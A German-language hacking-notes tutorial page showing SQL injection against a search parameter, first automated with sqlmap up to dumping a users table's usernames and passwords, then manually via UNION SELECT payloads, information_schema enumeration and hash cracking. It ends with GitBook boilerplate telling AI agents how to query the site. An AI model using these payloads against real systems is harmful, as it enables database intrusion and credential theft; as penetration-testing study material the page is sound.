> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/hacking-tools/web/sqlmap/sql-injection-sqlmap-and-manual-testing.md).

# SQL-Injection mit SQLMap und manuellem Testen

{% hint style="info" %}
Ein **SQL-Injection** ist eine Sicherheitslücke in Webanwendungen, die auftritt, wenn bösartige SQL-Abfragen in Eingabefelder eingefügt werden, um eine zugrunde liegende Datenbank zu manipulieren. Dadurch kann ein Angreifer auf nicht autorisierte Daten zugreifen, sie ändern oder filtern. Werkzeuge wie SQLMap automatisieren diesen Prozess, indem sie solche Schwachstellen identifizieren und ausnutzen und SQL-Injections automatisiert durchführen. Alternativ können Angreifer SQL-Injection-Angriffe auch manuell durchführen, indem sie Einträge direkt manipulieren, um sich unbefugten Zugriff auf die Datenbank zu verschaffen.
{% endhint %}

## Automatisierte SQL-Injection (SQLMap)

1. Fangen wir eine Suchanfrage mit Burp Suite ab:

<figure><img src="/files/8c5bad2cffd280e3ecfab18dc9136d17a8c8df28" alt=""><figcaption></figcaption></figure>

2. Speichern wir diese Anfrage in einer Datei, die wir **request.req**:

<figure><img src="/files/39bd7c58c8f4d86ff2e0189befde1f8fbed9793c" alt="" width="563"><figcaption></figcaption></figure>

3. Die Datei enthält Folgendes **Inhalt**:

<figure><img src="/files/dfe6ff310dac52cf059b6d2dc351c8c9fcf4858c" alt="" width="563"><figcaption></figcaption></figure>

4. Mit der **SQLMap** Mit dem Tool führen wir den folgenden Befehl aus, um zu sehen, ob diese Website **verwundbare** für einen **SQL-Angriff**:

```bash
sqlmap -r request.req  -p searchitem --batch  
```

<figure><img src="/files/6a9ec80975fdee34c7acd974203806821cfef47f" alt=""><figcaption></figcaption></figure>

5. Mit diesem Befehl listen wir alle **Datenbanken**:

```bash
sqlmap -r request.req  -p searchitem --batch --dbs
```

<figure><img src="/files/3f9499a901026bcebf9ed830386bcf91f1b8f938" alt="" width="563"><figcaption></figcaption></figure>

6. Mit diesem Befehl listen wir alle **Tabellen** einer bestimmten Datenbank auf:

```bash
sqlmap -r request.req  -p searchitem --batch -D "database_name" --tables
```

<figure><img src="/files/225b91cb21e8fdec392494419d51cf99e1c1f5db" alt="" width="563"><figcaption></figcaption></figure>

7. Mit diesem Befehl listen wir alle **Spalten** einer bestimmten Tabelle auf:

```bash
sqlmap -r request.req  -p searchitem --batch -T "table_name" --columns
```

<figure><img src="/files/d46704ed9812733315c3c52538397bf411c429f6" alt=""><figcaption></figcaption></figure>

8. Mit diesem Befehl visualisieren wir die **Inhalt** der Spalten:

```bash
sqlmap -r request.req  -p searchitem --batch -T users -C username,password --dump
```

*Wenn das Tool verschlüsselte Passwörter findet, entschlüsselt es sie automatisch*:

<figure><img src="/files/e5982158413cf3665272125665c3f5c3a4cf591f" alt="" width="563"><figcaption></figcaption></figure>

***

## Manuelle SQL-Injection

1. Fangen wir eine Suchanfrage mit Burp Suite ab:

<figure><img src="/files/8c5bad2cffd280e3ecfab18dc9136d17a8c8df28" alt=""><figcaption></figcaption></figure>

2. Sende diese Anfrage an **Repeater**:
3. In dem **searchitem** Suchfeld, füge Folgendes hinzu:

```bash
test' order by 100-- -
```

4. Der Webserver teilt uns mit, dass es **nicht so viele Spalten gibt**:

<figure><img src="/files/4954ab65b4abb815f7ef7b58965b6cc30fdda8df" alt="" width="563"><figcaption></figcaption></figure>

5. Versuchen wir **bis nichts mehr übrig ist** (in diesem Fall gibt es 5 Spalten):

<figure><img src="/files/e0de29ed4c3281a77dbe1d7c5ff0663ace8f5bd5" alt="" width="563"><figcaption></figcaption></figure>

6. Wir wissen jetzt, dass es **5 Spalten gibt**, jetzt mit der **UNION** Funktion werden wir **anzeigen** sie:

```arduino
test' union select 1,2,3,4,5-- -
```

<figure><img src="/files/abf4ec98efa919b8b69a9ab5247f1e4af2a265cc" alt="" width="563"><figcaption></figcaption></figure>

* Falls **der Name geändert wird** der 3. Spalte, zum Beispiel "test", dann **sich ebenfalls ändern**:

<figure><img src="/files/3cf1865b9359a04bc93e72c11bd3567072d0bea1" alt="" width="563"><figcaption></figcaption></figure>

7. Das bedeutet, dass, wenn wir die **database()** oder **user()** Funktion einfügen, wird der **Datenbankname** oder der **Benutzername des Benutzers, unter dem die Datenbank läuft** angezeigt:

<figure><img src="/files/73499f37311f14ed8b310fb67f15b870fb46cdb8" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/013226bf38c96153969902663c0c9254b955d9c1" alt="" width="563"><figcaption></figcaption></figure>

**IM FOLGENDEN IST DAS VERFAHREN FÜR DIE MANUELLE AUFLISTUNG:**

1. Listen wir alle **Datenbanken**:

```bash
test' union select 1,2,schema_name,4,5 from information_schema.schemata-- -
```

<figure><img src="/files/61d0a4fbde370c845e35bcffcf92a2d9c0ca6053" alt=""><figcaption></figcaption></figure>

2. Listen wir alle **Tabellen** einer bestimmten Datenbank auf:

```rust
test' union select 1,2,table_name,4,5 from information_schema.tables where table_schema='database_name'-- -
```

<figure><img src="/files/7ab8aefeff6186b377b599709250ff9798941627" alt=""><figcaption></figcaption></figure>

3. Listen wir alle **Spalten** einer bestimmten Tabelle auf:

```rust
test' union select 1,2,column_name,4,5 from information_schema.columns where table_schema='database_name' and table_name='table_name'-- -
```

<figure><img src="/files/7492eb49a6a605ea5d187de6f1c09fd49287f6b5" alt=""><figcaption></figcaption></figure>

4. Visualisieren wir die **Inhalte der Spalten für Benutzername und Passwort** (in diesem Fall verwenden wir die Spalten "product name" und "product type"):

```arduino
test' union select 1,username,password,4,5 from users-- -
```

<figure><img src="/files/5fe374737262ec8142943f1492bb154a3155411e" alt=""><figcaption></figcaption></figure>

* Listen wir die **Inhalte der Spalten für Benutzername und Passwort** noch einmal auf:

```scss
test' union select 1,2,group_concat(username,0x3a,password),4,5 from users-- -
```

<figure><img src="/files/341fbe1da26cddd4401d8d6c322ebbfeb59e5192" alt=""><figcaption></figcaption></figure>

5. **Kopieren wir den Inhalt** in den Pretty-Bereich von Burp Suite:

<div data-full-width="true"><figure><img src="/files/6db4cd83ffa565d55cfe8295093a825c7c77c66f" alt=""><figcaption></figcaption></figure></div>

6. Öffnen wir den **Nvim** Texteditor und fügen wir den kopierten Text ein; verwenden wir dann diesen Befehl, um ihn korrekt zu formatieren: `:%s/,//r/g`
7. Mit diesem Befehl behalten wir nur die Hashes und kopieren sie in die **Zwischenablage**: `cat data | awk '{print $2}' FS=":" | xclip -sel clip`

<figure><img src="/files/8de3951e14971d6e1c4a57aeded5d2f9982def7b" alt="" width="563"><figcaption></figcaption></figure>

8. Schließlich erhalten wir mit der [Hashes.com](https://hashes.com/en/decrypt/hash) Website die Passwörter in **Klartext**:

<figure><img src="/files/57103282374f86760868ba09527cb7ee5c1cb8a0" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/hacking-tools/web/sqlmap/sql-injection-sqlmap-and-manual-testing.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
